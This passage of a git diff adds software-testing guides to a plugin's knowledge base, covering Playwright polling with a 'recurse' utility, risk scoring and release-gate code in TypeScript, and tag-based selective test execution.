+    console.log('Timed out. Last value:', error.lastCommandValue);
+    console.log('Last predicate error:', error.lastPredicateError);
+  }
+}
+
+// RecurseCommandError - Command function threw an error
+// The command itself failed (e.g., network error, API error)
+
+// RecursePredicateError - Predicate function threw (not from assertions failing)
+// Logic error in your predicate code
+```
+
+**Custom Error Messages:**
+
+```typescript
+test('custom error on timeout', async ({ recurse, apiRequest }) => {
+  try {
+    await recurse(
+      () => apiRequest({ method: 'GET', path: '/api/status' }),
+      (res) => res.body.ready === true,
+      {
+        timeout: 10000,
+        error: 'System failed to become ready within 10 seconds - check background workers',
+      },
+    );
+  } catch (error) {
+    // Error message includes custom context
+    expect(error.message).toContain('check background workers');
+    throw error;
+  }
+});
+```
+
+### Example 4: Post-Polling Callback
+
+**Context**: Process or log results after successful polling.
+
+**Implementation**:
+
+```typescript
+test('post-poll processing', async ({ recurse, apiRequest }) => {
+  const finalResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/batch-job/123' }),
+    (res) => res.body.status === 'completed',
+    {
+      timeout: 60000,
+      post: (result) => {
+        // Runs after successful polling
+        console.log(`Job completed in ${result.body.duration}ms`);
+        console.log(`Processed ${result.body.itemsProcessed} items`);
+        return result.body;
+      },
+    },
+  );
+
+  expect(finalResult.itemsProcessed).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `post` callback runs after predicate succeeds
+- Receives the final result
+- Can transform or log results
+- Return value becomes final `recurse` result
+
+### Example 5: UI Testing Scenarios
+
+**Context**: Wait for UI elements to reach a specific state through polling.
+
+**Implementation**:
+
+```typescript
+test('table data loads', async ({ page, recurse }) => {
+  await page.goto('/reports');
+
+  // Poll for table rows to appear
+  await recurse(
+    async () => page.locator('table tbody tr').count(),
+    (count) => count >= 10, // Wait for at least 10 rows
+    {
+      timeout: 15000,
+      interval: 500,
+      log: 'Waiting for table data to load',
+    },
+  );
+
+  // Now safe to interact with table
+  await page.locator('table tbody tr').first().click();
+});
+```
+
+### Example 6: Event-Based Systems (Kafka/Message Queues)
+
+**Context**: Testing eventual consistency with message queue processing.
+
+**Implementation**:
+
+```typescript
+test('kafka event processed', async ({ recurse, apiRequest }) => {
+  // Trigger action that publishes Kafka event
+  await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    body: { productId: 'ABC123', quantity: 2 },
+  });
+
+  // Poll for downstream effect of Kafka consumer processing
+  const inventoryResult = await recurse(
+    () => apiRequest({ method: 'GET', path: '/api/inventory/ABC123' }),
+    (res) => {
+      // Assumes test fixture seeds inventory at 100; in production tests,
+      // fetch baseline first and assert: expect(res.body.available).toBe(baseline - 2)
+      expect(res.body.available).toBeLessThanOrEqual(98);
+    },
+    {
+      timeout: 30000, // Kafka processing may take time
+      interval: 1000,
+      log: 'Waiting for Kafka event to be processed',
+    },
+  );
+
+  expect(inventoryResult.body.lastOrderId).toBeDefined();
+});
+```
+
+### Example 7: Integration with API Request (Common Pattern)
+
+**Context**: Most common use case - polling API endpoints for state changes.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('end-to-end polling', async ({ apiRequest, recurse }) => {
+  // Trigger async operation
+  const { body: createResp } = await apiRequest({
+    method: 'POST',
+    path: '/api/data-import',
+    body: { source: 's3://bucket/data.csv' },
+  });
+
+  // Poll until import completes
+  const importResult = await recurse(
+    () => apiRequest({ method: 'GET', path: `/api/data-import/${createResp.importId}` }),
+    (response) => {
+      const { status, rowsImported } = response.body;
+      return status === 'completed' && rowsImported > 0;
+    },
+    {
+      timeout: 120000, // 2 minutes for large imports
+      interval: 5000, // Check every 5 seconds
+      log: `Polling import ${createResp.importId}`,
+    },
+  );
+
+  expect(importResult.body.rowsImported).toBeGreaterThan(1000);
+  expect(importResult.body.errors).toHaveLength(0);
+});
+```
+
+**Key Points**:
+
+- Combine `apiRequest` + `recurse` for API polling
+- Both from `@seontechnologies/playwright-utils/fixtures`
+- Complex predicates with multiple conditions
+- Logging shows polling progress in test reports
+
+## API Reference
+
+### RecurseOptions
+
+| Option     | Type               | Default     | Description                          |
+| ---------- | ------------------ | ----------- | ------------------------------------ |
+| `timeout`  | `number`           | `30000`     | Maximum time to wait (ms)            |
+| `interval` | `number`           | `1000`      | Time between polls (ms)              |
+| `log`      | `string`           | `undefined` | Message logged on each poll          |
+| `error`    | `string`           | `undefined` | Custom error message for timeout     |
+| `post`     | `(result: T) => R` | `undefined` | Callback after successful poll       |
+| `delay`    | `number`           | `0`         | Initial delay before first poll (ms) |
+
+### Error Types
+
+| Error Type              | When Thrown                             | Properties                               |
+| ----------------------- | --------------------------------------- | ---------------------------------------- |
+| `RecurseTimeoutError`   | Predicate never passed within timeout   | `lastCommandValue`, `lastPredicateError` |
+| `RecurseCommandError`   | Command function threw an error         | `cause` (original error)                 |
+| `RecursePredicateError` | Predicate threw (not assertion failure) | `cause` (original error)                 |
+
+## Comparison with Vanilla Playwright
+
+| Vanilla Playwright                                                | recurse Utility                                                           |
+| ----------------------------------------------------------------- | ------------------------------------------------------------------------- |
+| `await expect.poll(() => { ... }, { timeout: 30000 }).toBe(true)` | `await recurse(() => { ... }, (val) => val === true, { timeout: 30000 })` |
+| No logging                                                        | Built-in log option                                                       |
+| Generic timeout errors                                            | Categorized errors (timeout/command/predicate)                            |
+| No post-poll hooks                                                | `post` callback support                                                   |
+
+## When to Use
+
+**Use recurse for:**
+
+- Background job completion
+- Webhook/event processing
+- Database eventual consistency
+- Cache propagation
+- State machine transitions
+
+**Stick with vanilla expect.poll for:**
+
+- Simple UI element visibility (use `expect(locator).toBeVisible()`)
+- Single-property checks
+- Cases where logging isn't needed
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Comprehensive pure API testing patterns
+- `api-request.md` - Combine for API endpoint polling
+- `overview.md` - Fixture composition patterns
+- `fixtures-composition.md` - Using with mergeTests
+- `contract-testing.md` - Contract testing with async verification
+
+## Anti-Patterns
+
+**DON'T use hard waits instead of polling:**
+
+```typescript
+await page.click('#export');
+await page.waitForTimeout(5000); // Arbitrary wait
+expect(await page.textContent('#status')).toBe('Ready');
+```
+
+**DO poll for actual condition:**
+
+```typescript
+await page.click('#export');
+await recurse(
+  () => page.textContent('#status'),
+  (status) => status === 'Ready',
+  { timeout: 10000 },
+);
+```
+
+**DON'T poll too frequently:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 100 }, // Hammers API every 100ms!
+);
+```
+
+**DO use reasonable interval for API calls:**
+
+```typescript
+await recurse(
+  () => apiRequest({ method: 'GET', path: '/status' }),
+  (res) => res.body.ready,
+  { interval: 2000 }, // Check every 2 seconds (reasonable)
+);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/risk-governance.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/risk-governance.md
new file mode 100644
index 0000000..1db093e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/risk-governance.md
@@ -0,0 +1,615 @@
+# Risk Governance and Gatekeeping
+
+## Principle
+
+Risk governance transforms subjective "should we ship?" debates into objective, data-driven decisions. By scoring risk (probability × impact), classifying by category (TECH, SEC, PERF, etc.), and tracking mitigation ownership, teams create transparent quality gates that balance speed with safety.
+
+## Rationale
+
+**The Problem**: Without formal risk governance, releases become political—loud voices win, quiet risks hide, and teams discover critical issues in production. "We thought it was fine" isn't a release strategy.
+
+**The Solution**: Risk scoring (1-3 scale for probability and impact, total 1-9) creates shared language. Scores ≥6 demand documented mitigation. Scores = 9 mandate gate failure. Every acceptance criterion maps to a test, and gaps require explicit waivers with owners and expiry dates.
+
+**Why This Matters**:
+
+- Removes ambiguity from release decisions (objective scores vs subjective opinions)
+- Creates audit trail for compliance (FDA, SOC2, ISO require documented risk management)
+- Identifies true blockers early (prevents last-minute production fires)
+- Distributes responsibility (owners, mitigation plans, deadlines for every risk >4)
+
+## Pattern Examples
+
+### Example 1: Risk Scoring Matrix with Automated Classification (TypeScript)
+
+**Context**: Calculate risk scores automatically from test results and categorize by risk type
+
+**Implementation**:
+
+```typescript
+// risk-scoring.ts - Risk classification and scoring system
+export const RISK_CATEGORIES = {
+  TECH: 'TECH', // Technical debt, architecture fragility
+  SEC: 'SEC', // Security vulnerabilities
+  PERF: 'PERF', // Performance degradation
+  DATA: 'DATA', // Data integrity, corruption
+  BUS: 'BUS', // Business logic errors
+  OPS: 'OPS', // Operational issues (deployment, monitoring)
+} as const;
+
+export type RiskCategory = keyof typeof RISK_CATEGORIES;
+
+export type RiskScore = {
+  id: string;
+  category: RiskCategory;
+  title: string;
+  description: string;
+  probability: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  impact: 1 | 2 | 3; // 1=Low, 2=Medium, 3=High
+  score: number; // probability × impact (1-9)
+  owner: string;
+  mitigationPlan?: string;
+  deadline?: Date;
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'ACCEPTED';
+  waiverReason?: string;
+  waiverApprover?: string;
+  waiverExpiry?: Date;
+};
+
+// Risk scoring rules
+export function calculateRiskScore(probability: 1 | 2 | 3, impact: 1 | 2 | 3): number {
+  return probability * impact;
+}
+
+export function requiresMitigation(score: number): boolean {
+  return score >= 6; // Scores 6-9 demand action
+}
+
+export function isCriticalBlocker(score: number): boolean {
+  return score === 9; // Probability=3 AND Impact=3 → FAIL gate
+}
+
+export function classifyRiskLevel(score: number): 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL' {
+  if (score === 9) return 'CRITICAL';
+  if (score >= 6) return 'HIGH';
+  if (score >= 4) return 'MEDIUM';
+  return 'LOW';
+}
+
+// Example: Risk assessment from test failures
+export function assessTestFailureRisk(failure: {
+  test: string;
+  category: RiskCategory;
+  affectedUsers: number;
+  revenueImpact: number;
+  securityVulnerability: boolean;
+}): RiskScore {
+  // Probability based on test failure frequency (simplified)
+  const probability: 1 | 2 | 3 = 3; // Test failed = High probability
+
+  // Impact based on business context
+  let impact: 1 | 2 | 3 = 1;
+  if (failure.securityVulnerability) impact = 3;
+  else if (failure.revenueImpact > 10000) impact = 3;
+  else if (failure.affectedUsers > 1000) impact = 2;
+  else impact = 1;
+
+  const score = calculateRiskScore(probability, impact);
+
+  return {
+    id: `risk-${Date.now()}`,
+    category: failure.category,
+    title: `Test failure: ${failure.test}`,
+    description: `Affects ${failure.affectedUsers} users, $${failure.revenueImpact} revenue`,
+    probability,
+    impact,
+    score,
+    owner: 'unassigned',
+    status: score === 9 ? 'OPEN' : 'OPEN',
+  };
+}
+```
+
+**Key Points**:
+
+- **Objective scoring**: Probability (1-3) × Impact (1-3) = Score (1-9)
+- **Clear thresholds**: Score ≥6 requires mitigation, score = 9 blocks release
+- **Business context**: Revenue, users, security drive impact calculation
+- **Status tracking**: OPEN → MITIGATED → WAIVED → ACCEPTED lifecycle
+
+---
+
+### Example 2: Gate Decision Engine with Traceability Validation
+
+**Context**: Automated gate decision based on risk scores and test coverage
+
+**Implementation**:
+
+```typescript
+// gate-decision-engine.ts
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type CoverageGap = {
+  acceptanceCriteria: string;
+  testMissing: string;
+  reason: string;
+};
+
+export type GateResult = {
+  decision: GateDecision;
+  timestamp: Date;
+  criticalRisks: RiskScore[];
+  highRisks: RiskScore[];
+  coverageGaps: CoverageGap[];
+  summary: string;
+  recommendations: string[];
+};
+
+export function evaluateGate(params: { risks: RiskScore[]; coverageGaps: CoverageGap[]; waiverApprover?: string }): GateResult {
+  const { risks, coverageGaps, waiverApprover } = params;
+
+  // Categorize risks
+  const criticalRisks = risks.filter((r) => r.score === 9 && r.status === 'OPEN');
+  const highRisks = risks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+  const unresolvedGaps = coverageGaps.filter((g) => !g.reason);
+
+  // Decision logic
+  let decision: GateDecision;
+
+  // FAIL: Critical blockers (score=9) or missing coverage
+  if (criticalRisks.length > 0 || unresolvedGaps.length > 0) {
+    decision = 'FAIL';
+  }
+  // WAIVED: All risks waived by authorized approver
+  else if (risks.every((r) => r.status === 'WAIVED') && waiverApprover) {
+    decision = 'WAIVED';
+  }
+  // CONCERNS: High risks (score 6-8) with mitigation plans
+  else if (highRisks.length > 0 && highRisks.every((r) => r.mitigationPlan && r.owner !== 'unassigned')) {
+    decision = 'CONCERNS';
+  }
+  // PASS: No critical issues, all risks mitigated or low
+  else {
+    decision = 'PASS';
+  }
+
+  // Generate recommendations
+  const recommendations: string[] = [];
+  if (criticalRisks.length > 0) {
+    recommendations.push(`🚨 ${criticalRisks.length} CRITICAL risk(s) must be mitigated before release`);
+  }
+  if (unresolvedGaps.length > 0) {
+    recommendations.push(`📋 ${unresolvedGaps.length} acceptance criteria lack test coverage`);
+  }
+  if (highRisks.some((r) => !r.mitigationPlan)) {
+    recommendations.push(`⚠️  High risks without mitigation plans: assign owners and deadlines`);
+  }
+  if (decision === 'PASS') {
+    recommendations.push(`✅ All risks mitigated or acceptable. Ready for release.`);
+  }
+
+  return {
+    decision,
+    timestamp: new Date(),
+    criticalRisks,
+    highRisks,
+    coverageGaps: unresolvedGaps,
+    summary: generateSummary(decision, risks, unresolvedGaps),
+    recommendations,
+  };
+}
+
+function generateSummary(decision: GateDecision, risks: RiskScore[], gaps: CoverageGap[]): string {
+  const total = risks.length;
+  const critical = risks.filter((r) => r.score === 9).length;
+  const high = risks.filter((r) => r.score >= 6 && r.score < 9).length;
+
+  return `Gate Decision: ${decision}. Total Risks: ${total} (${critical} critical, ${high} high). Coverage Gaps: ${gaps.length}.`;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Example: Running gate check before deployment
+import { assessTestFailureRisk, evaluateGate } from './gate-decision-engine';
+
+// Collect risks from test results
+const risks: RiskScore[] = [
+  assessTestFailureRisk({
+    test: 'Payment processing with expired card',
+    category: 'BUS',
+    affectedUsers: 5000,
+    revenueImpact: 50000,
+    securityVulnerability: false,
+  }),
+  assessTestFailureRisk({
+    test: 'SQL injection in search endpoint',
+    category: 'SEC',
+    affectedUsers: 10000,
+    revenueImpact: 0,
+    securityVulnerability: true,
+  }),
+];
+
+// Identify coverage gaps
+const coverageGaps: CoverageGap[] = [
+  {
+    acceptanceCriteria: 'User can reset password via email',
+    testMissing: 'e2e/auth/password-reset.spec.ts',
+    reason: '', // Empty = unresolved
+  },
+];
+
+// Evaluate gate
+const gateResult = evaluateGate({ risks, coverageGaps });
+
+console.log(gateResult.decision); // 'FAIL'
+console.log(gateResult.summary);
+// "Gate Decision: FAIL. Total Risks: 2 (1 critical, 1 high). Coverage Gaps: 1."
+
+console.log(gateResult.recommendations);
+// [
+//   "🚨 1 CRITICAL risk(s) must be mitigated before release",
+//   "📋 1 acceptance criteria lack test coverage"
+// ]
+```
+
+**Key Points**:
+
+- **Automated decision**: No human interpretation required
+- **Clear criteria**: FAIL = critical risks or gaps, CONCERNS = high risks with plans, PASS = low risks
+- **Actionable output**: Recommendations drive next steps
+- **Audit trail**: Timestamp, decision, and context for compliance
+
+---
+
+### Example 3: Risk Mitigation Workflow with Owner Tracking
+
+**Context**: Track risk mitigation from identification to resolution
+
+**Implementation**:
+
+```typescript
+// risk-mitigation.ts
+export type MitigationAction = {
+  riskId: string;
+  action: string;
+  owner: string;
+  deadline: Date;
+  status: 'PENDING' | 'IN_PROGRESS' | 'COMPLETED' | 'BLOCKED';
+  completedAt?: Date;
+  blockedReason?: string;
+};
+
+export class RiskMitigationTracker {
+  private risks: Map<string, RiskScore> = new Map();
+  private actions: Map<string, MitigationAction[]> = new Map();
+  private history: Array<{ riskId: string; event: string; timestamp: Date }> = [];
+
+  // Register a new risk
+  addRisk(risk: RiskScore): void {
+    this.risks.set(risk.id, risk);
+    this.logHistory(risk.id, `Risk registered: ${risk.title} (Score: ${risk.score})`);
+
+    // Auto-assign mitigation requirements for score ≥6
+    if (requiresMitigation(risk.score) && !risk.mitigationPlan) {
+      this.logHistory(risk.id, `⚠️  Mitigation required (score ${risk.score}). Assign owner and plan.`);
+    }
+  }
+
+  // Add mitigation action
+  addMitigationAction(action: MitigationAction): void {
+    const risk = this.risks.get(action.riskId);
+    if (!risk) throw new Error(`Risk ${action.riskId} not found`);
+
+    const existingActions = this.actions.get(action.riskId) || [];
+    existingActions.push(action);
+    this.actions.set(action.riskId, existingActions);
+
+    this.logHistory(action.riskId, `Mitigation action added: ${action.action} (Owner: ${action.owner})`);
+  }
+
+  // Complete mitigation action
+  completeMitigation(riskId: string, actionIndex: number): void {
+    const actions = this.actions.get(riskId);
+    if (!actions || !actions[actionIndex]) throw new Error('Action not found');
+
+    actions[actionIndex].status = 'COMPLETED';
+    actions[actionIndex].completedAt = new Date();
+
+    this.logHistory(riskId, `Mitigation completed: ${actions[actionIndex].action}`);
+
+    // If all actions completed, mark risk as MITIGATED
+    if (actions.every((a) => a.status === 'COMPLETED')) {
+      const risk = this.risks.get(riskId)!;
+      risk.status = 'MITIGATED';
+      this.logHistory(riskId, `✅ Risk mitigated. All actions complete.`);
+    }
+  }
+
+  // Request waiver for a risk
+  requestWaiver(riskId: string, reason: string, approver: string, expiryDays: number): void {
+    const risk = this.risks.get(riskId);
+    if (!risk) throw new Error(`Risk ${riskId} not found`);
+
+    risk.status = 'WAIVED';
+    risk.waiverReason = reason;
+    risk.waiverApprover = approver;
+    risk.waiverExpiry = new Date(Date.now() + expiryDays * 24 * 60 * 60 * 1000);
+
+    this.logHistory(riskId, `⚠️  Waiver granted by ${approver}. Expires: ${risk.waiverExpiry}`);
+  }
+
+  // Generate risk report
+  generateReport(): string {
+    const allRisks = Array.from(this.risks.values());
+    const critical = allRisks.filter((r) => r.score === 9 && r.status === 'OPEN');
+    const high = allRisks.filter((r) => r.score >= 6 && r.score < 9 && r.status === 'OPEN');
+    const mitigated = allRisks.filter((r) => r.status === 'MITIGATED');
+    const waived = allRisks.filter((r) => r.status === 'WAIVED');
+
+    let report = `# Risk Mitigation Report\n\n`;
+    report += `**Generated**: ${new Date().toISOString()}\n\n`;
+    report += `## Summary\n`;
+    report += `- Total Risks: ${allRisks.length}\n`;
+    report += `- Critical (Score=9, OPEN): ${critical.length}\n`;
+    report += `- High (Score 6-8, OPEN): ${high.length}\n`;
+    report += `- Mitigated: ${mitigated.length}\n`;
+    report += `- Waived: ${waived.length}\n\n`;
+
+    if (critical.length > 0) {
+      report += `## 🚨 Critical Risks (BLOCKERS)\n\n`;
+      critical.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score} (Probability: ${r.probability}, Impact: ${r.impact})\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Mitigation: ${r.mitigationPlan || 'NOT ASSIGNED'}\n\n`;
+      });
+    }
+
+    if (high.length > 0) {
+      report += `## ⚠️  High Risks\n\n`;
+      high.forEach((r) => {
+        report += `- **${r.title}** (${r.category})\n`;
+        report += `  - Score: ${r.score}\n`;
+        report += `  - Owner: ${r.owner}\n`;
+        report += `  - Deadline: ${r.deadline?.toISOString().split('T')[0] || 'NOT SET'}\n\n`;
+      });
+    }
+
+    return report;
+  }
+
+  private logHistory(riskId: string, event: string): void {
+    this.history.push({ riskId, event, timestamp: new Date() });
+  }
+
+  getHistory(riskId: string): Array<{ event: string; timestamp: Date }> {
+    return this.history.filter((h) => h.riskId === riskId).map((h) => ({ event: h.event, timestamp: h.timestamp }));
+  }
+}
+```
+
+**Usage Example**:
+
+```typescript
+const tracker = new RiskMitigationTracker();
+
+// Register critical security risk
+tracker.addRisk({
+  id: 'risk-001',
+  category: 'SEC',
+  title: 'SQL injection vulnerability in user search',
+  description: 'Unsanitized input allows arbitrary SQL execution',
+  probability: 3,
+  impact: 3,
+  score: 9,
+  owner: 'security-team',
+  status: 'OPEN',
+});
+
+// Add mitigation actions
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add parameterized queries to user-search endpoint',
+  owner: 'alice@example.com',
+  deadline: new Date('2025-10-20'),
+  status: 'IN_PROGRESS',
+});
+
+tracker.addMitigationAction({
+  riskId: 'risk-001',
+  action: 'Add WAF rule to block SQL injection patterns',
+  owner: 'bob@example.com',
+  deadline: new Date('2025-10-22'),
+  status: 'PENDING',
+});
+
+// Complete first action
+tracker.completeMitigation('risk-001', 0);
+
+// Generate report
+console.log(tracker.generateReport());
+// Markdown report with critical risks, owners, deadlines
+
+// View history
+console.log(tracker.getHistory('risk-001'));
+// [
+//   { event: 'Risk registered: SQL injection...', timestamp: ... },
+//   { event: 'Mitigation action added: Add parameterized queries...', timestamp: ... },
+//   { event: 'Mitigation completed: Add parameterized queries...', timestamp: ... }
+// ]
+```
+
+**Key Points**:
+
+- **Ownership enforcement**: Every risk >4 requires owner assignment
+- **Deadline tracking**: Mitigation actions have explicit deadlines
+- **Audit trail**: Complete history of risk lifecycle (registered → mitigated)
+- **Automated reports**: Markdown output for Confluence/GitHub wikis
+
+---
+
+### Example 4: Coverage Traceability Matrix (Test-to-Requirement Mapping)
+
+**Context**: Validate that every acceptance criterion maps to at least one test
+
+**Implementation**:
+
+```typescript
+// coverage-traceability.ts
+export type AcceptanceCriterion = {
+  id: string;
+  story: string;
+  criterion: string;
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+};
+
+export type TestCase = {
+  file: string;
+  name: string;
+  criteriaIds: string[]; // Links to acceptance criteria
+};
+
+export type CoverageMatrix = {
+  criterion: AcceptanceCriterion;
+  tests: TestCase[];
+  covered: boolean;
+  waiverReason?: string;
+};
+
+export function buildCoverageMatrix(criteria: AcceptanceCriterion[], tests: TestCase[]): CoverageMatrix[] {
+  return criteria.map((criterion) => {
+    const matchingTests = tests.filter((t) => t.criteriaIds.includes(criterion.id));
+
+    return {
+      criterion,
+      tests: matchingTests,
+      covered: matchingTests.length > 0,
+    };
+  });
+}
+
+export function validateCoverage(matrix: CoverageMatrix[]): {
+  gaps: CoverageMatrix[];
+  passRate: number;
+} {
+  const gaps = matrix.filter((m) => !m.covered && !m.waiverReason);
+  const passRate = ((matrix.length - gaps.length) / matrix.length) * 100;
+
+  return { gaps, passRate };
+}
+
+// Example: Extract criteria IDs from test names
+export function extractCriteriaFromTests(testFiles: string[]): TestCase[] {
+  // Simplified: In real implementation, parse test files with AST
+  // Here we simulate extraction from test names
+  return [
+    {
+      file: 'tests/e2e/auth/login.spec.ts',
+      name: 'should allow user to login with valid credentials',
+      criteriaIds: ['AC-001', 'AC-002'], // Linked to acceptance criteria
+    },
+    {
+      file: 'tests/e2e/auth/password-reset.spec.ts',
+      name: 'should send password reset email',
+      criteriaIds: ['AC-003'],
+    },
+  ];
+}
+
+// Generate Markdown traceability report
+export function generateTraceabilityReport(matrix: CoverageMatrix[]): string {
+  let report = `# Requirements-to-Tests Traceability Matrix\n\n`;
+  report += `**Generated**: ${new Date().toISOString()}\n\n`;
+
+  const { gaps, passRate } = validateCoverage(matrix);
+
+  report += `## Summary\n`;
+  report += `- Total Criteria: ${matrix.length}\n`;
+  report += `- Covered: ${matrix.filter((m) => m.covered).length}\n`;
+  report += `- Gaps: ${gaps.length}\n`;
+  report += `- Waived: ${matrix.filter((m) => m.waiverReason).length}\n`;
+  report += `- Coverage Rate: ${passRate.toFixed(1)}%\n\n`;
+
+  if (gaps.length > 0) {
+    report += `## ❌ Coverage Gaps (MUST RESOLVE)\n\n`;
+    report += `| Story | Criterion | Priority | Tests |\n`;
+    report += `|-------|-----------|----------|-------|\n`;
+    gaps.forEach((m) => {
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${m.criterion.priority} | None |\n`;
+    });
+    report += `\n`;
+  }
+
+  report += `## ✅ Covered Criteria\n\n`;
+  report += `| Story | Criterion | Tests |\n`;
+  report += `|-------|-----------|-------|\n`;
+  matrix
+    .filter((m) => m.covered)
+    .forEach((m) => {
+      const testList = m.tests.map((t) => `\`${t.file}\``).join(', ');
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${testList} |\n`;
+    });
+
+  return report;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Define acceptance criteria
+const criteria: AcceptanceCriterion[] = [
+  { id: 'AC-001', story: 'US-123', criterion: 'User can login with email', priority: 'P0' },
+  { id: 'AC-002', story: 'US-123', criterion: 'User sees error on invalid password', priority: 'P0' },
+  { id: 'AC-003', story: 'US-124', criterion: 'User receives password reset email', priority: 'P1' },
+  { id: 'AC-004', story: 'US-125', criterion: 'User can update profile', priority: 'P2' }, // NO TEST
+];
+
+// Extract tests
+const tests: TestCase[] = extractCriteriaFromTests(['tests/e2e/auth/login.spec.ts', 'tests/e2e/auth/password-reset.spec.ts']);
+
+// Build matrix
+const matrix = buildCoverageMatrix(criteria, tests);
+
+// Validate
+const { gaps, passRate } = validateCoverage(matrix);
+console.log(`Coverage: ${passRate.toFixed(1)}%`); // "Coverage: 75.0%"
+console.log(`Gaps: ${gaps.length}`); // "Gaps: 1" (AC-004 has no test)
+
+// Generate report
+const report = generateTraceabilityReport(matrix);
+console.log(report);
+// Markdown table showing coverage gaps
+```
+
+**Key Points**:
+
+- **Bidirectional traceability**: Criteria → Tests and Tests → Criteria
+- **Gap detection**: Automatically identifies missing coverage
+- **Priority awareness**: P0 gaps are critical blockers
+- **Waiver support**: Allow explicit waivers for low-priority gaps
+
+---
+
+## Risk Governance Checklist
+
+Before deploying to production, ensure:
+
+- [ ] **Risk scoring complete**: All identified risks scored (Probability × Impact)
+- [ ] **Ownership assigned**: Every risk >4 has owner, mitigation plan, deadline
+- [ ] **Coverage validated**: Every acceptance criterion maps to at least one test
+- [ ] **Gate decision documented**: PASS/CONCERNS/FAIL/WAIVED with rationale
+- [ ] **Waivers approved**: All waivers have approver, reason, expiry date
+- [ ] **Audit trail captured**: Risk history log available for compliance review
+- [ ] **Traceability matrix**: Requirements-to-tests mapping up to date
+- [ ] **Critical risks resolved**: No score=9 risks in OPEN status
+
+## Integration Points
+
+- **Used in workflows**: `*trace` (Phase 2: gate decision), `*nfr-assess` (risk scoring), `*test-design` (risk identification)
+- **Related fragments**: `probability-impact.md` (scoring definitions), `test-priorities-matrix.md` (P0-P3 classification), `nfr-criteria.md` (non-functional risks)
+- **Tools**: Risk tracking dashboards (Jira, Linear), gate automation (CI/CD), traceability reports (Markdown, Confluence)
+
+_Source: Murat risk governance notes, gate schema guidance, enterprise production gate workflows, ISO 31000 risk management standards_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/selective-testing.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/selective-testing.md
new file mode 100644
index 0000000..e8becc3
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/selective-testing.md
@@ -0,0 +1,732 @@
+# Selective and Targeted Test Execution
+
+## Principle
+
+Run only the tests you need, when you need them. Use tags/grep to slice suites by risk priority (not directory structure), filter by spec patterns or git diff to focus on impacted areas, and combine priority metadata (P0-P3) with change detection to optimize pre-commit vs. CI execution. Document the selection strategy clearly so teams understand when full regression is mandatory.
+
+## Rationale
+
+Running the entire test suite on every commit wastes time and resources. Smart test selection provides fast feedback (smoke tests in minutes, full regression in hours) while maintaining confidence. The "32+ ways of selective testing" philosophy balances speed with coverage: quick loops for developers, comprehensive validation before deployment. Poorly documented selection leads to confusion about when tests run and why.
+
+## Pattern Examples
+
+### Example 1: Tag-Based Execution with Priority Levels
+
+**Context**: Organize tests by risk priority and execution stage using grep/tag patterns.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Tag-based test organization
+ * - @smoke: Critical path tests (run on every commit, < 5 min)
+ * - @regression: Full test suite (run pre-merge, < 30 min)
+ * - @p0: Critical business functions (payment, auth, data integrity)
+ * - @p1: Core features (primary user journeys)
+ * - @p2: Secondary features (supporting functionality)
+ * - @p3: Nice-to-have (cosmetic, non-critical)
+ */
+
+test.describe('Checkout Flow', () => {
+  // P0 + Smoke: Must run on every commit
+  test('@smoke @p0 should complete purchase with valid payment', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('order-confirmation')).toBeVisible();
+  });
+
+  // P0 but not smoke: Run pre-merge
+  test('@regression @p0 should handle payment decline gracefully', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4000000000000002'); // Decline card
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('payment-error')).toBeVisible();
+    await expect(page.getByTestId('payment-error')).toContainText('declined');
+  });
+
+  // P1 + Smoke: Important but not critical
+  test('@smoke @p1 should apply discount code', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('promo-code').fill('SAVE10');
+    await page.getByTestId('apply-promo').click();
+
+    await expect(page.getByTestId('discount-applied')).toBeVisible();
+  });
+
+  // P2: Run in full regression only
+  test('@regression @p2 should remember saved payment methods', async ({ page }) => {
+    await page.goto('/checkout');
+    await expect(page.getByTestId('saved-cards')).toBeVisible();
+  });
+
+  // P3: Low priority, run nightly or weekly
+  test('@nightly @p3 should display checkout page analytics', async ({ page }) => {
+    await page.goto('/checkout');
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS__);
+    expect(analyticsEvents).toBeDefined();
+  });
+});
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test": "playwright test",
+    "test:smoke": "playwright test --grep '@smoke'",
+    "test:p0": "playwright test --grep '@p0'",
+    "test:p0-p1": "playwright test --grep '@p0|@p1'",
+    "test:regression": "playwright test --grep '@regression'",
+    "test:nightly": "playwright test --grep '@nightly'",
